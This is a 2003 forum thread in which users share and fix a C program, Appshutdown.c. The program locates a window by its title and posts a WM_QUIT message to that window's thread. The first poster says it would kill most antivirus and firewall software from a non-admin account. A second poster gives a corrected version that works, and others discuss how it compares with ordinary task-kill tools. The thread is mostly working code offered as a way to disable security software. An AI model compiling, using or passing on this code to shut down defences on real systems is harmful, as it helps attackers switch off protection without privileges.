tribalgoa
Oct 3 2003, 08:15 AM
Can somebody compile this please ?
It would allow you to kill most AV and Firewall from a non-admin account.
/************************************************************************
* Appshutdown.c
*
* Demonstrates the use of PostThreadMessage to;
* - shutdown any application with a message handler
*
* The window title can be specified in code or on the command line
*
* Works against any application/service process that
* has implemented a message handler
*
*************************************************************************/
#include <windows.h>
#include <commctrl.h>
#include <stdio.h>
char tWindow[]="Windows Task Manager";// The name of the main window
char* pWindow;
int main(int argc, char *argv[])
{
long hWnd,proc;
DWORD hThread;
printf("%% AppShutdown - Playing with PostThreadMessage\n");
printf("%% brett.moore@security-assessment.com\n\n");
// Specify Window Title On Command Line
if (argc ==2)
pWindow = argv[1];
else
pWindow = tWindow;
printf("+ Finding %s Window...\n",pWindow);
hWnd = (long)FindWindow(NULL,pWindow);
if(hWnd == NULL)
{
printf("+ Couldn't Find %s Window\n",pWindow);
return 0;
}
printf("+ Found Main Window At...0x%xh\n",hWnd);
printf("+ Finding Window Thread..");
hThread = GetWindowThreadProcessId(hWnd,&proc);
if(hThread == NULL)
{
printf("Failed\n");
return 0;
}
printf("0x%xh Process 0x%xh\n",hThread,proc);
printf("+ Send Quit Message\n");
PostThreadMessage((DWORD) hThread,(UINT) WM_QUIT,0,0);
printf("+ Done...\n");
return 0;
}
Xardasrulez
Oct 3 2003, 02:45 PM
there are some mistakes in the source.
this one works:
| CODE |
/************************************************************************ * Appshutdown.c * * Demonstrates the use of PostThreadMessage to; * - shutdown any application with a message handler * * The window title can be specified in code or on the command line * * Works against any application/service process that * has implemented a message handler * *************************************************************************/ #include <windows.h> #include <commctrl.h> #include <stdio.h> char tWindow[]="Windows Task Manager";// The name of the main window char* pWindow; int main(int argc, char *argv[]) { long hWnd; unsigned long proc; HWND myhwnd; DWORD hThread; printf("%% AppShutdown - Playing with PostThreadMessage\n"); printf("%% brett.moore@security-assessment.com\n\n"); // Specify Window Title On Command Line if (argc ==2) pWindow = argv[1]; else pWindow = tWindow;
printf("+ Finding %s Window...\n",pWindow); hWnd = (long)FindWindow(NULL,pWindow); myhwnd = FindWindow(NULL,pWindow); if(hWnd == NULL) { printf("+ Couldn't Find %s Window\n",pWindow); return 0; } printf("+ Found Main Window At...0x%xh\n",hWnd); printf("+ Finding Window Thread.."); hThread = GetWindowThreadProcessId(myhwnd, &proc); if(hThread == NULL) { printf("Failed\n"); return 0; } printf("0x%xh Process 0x%xh\n",hThread,proc); printf("+ Send Quit Message\n"); PostThreadMessage((DWORD) hThread,(UINT) WM_QUIT,0,0); printf("+ Done...\n"); return 0; } |
newbie
Oct 4 2003, 12:46 PM
here...
i must say this only works on XP from what i see
cuz it looks for the task manager
in i think only the latest version of windows call
the Ctrl+Alt+Delete window task manager
edit:
il post it on download section cant be uploaded here
tribalgoa
Oct 6 2003, 02:37 PM
works like a charm ... closes any window (you have to know the exact window title)
SoleKiller
Oct 7 2003, 06:46 PM
and why is it better than the normal task manager or ykill?
agamemnon
Oct 7 2003, 07:09 PM
because you can customise it to delete several tasks in one go...
but then again, i'd much rather write a batch frontend for kill.exe than that...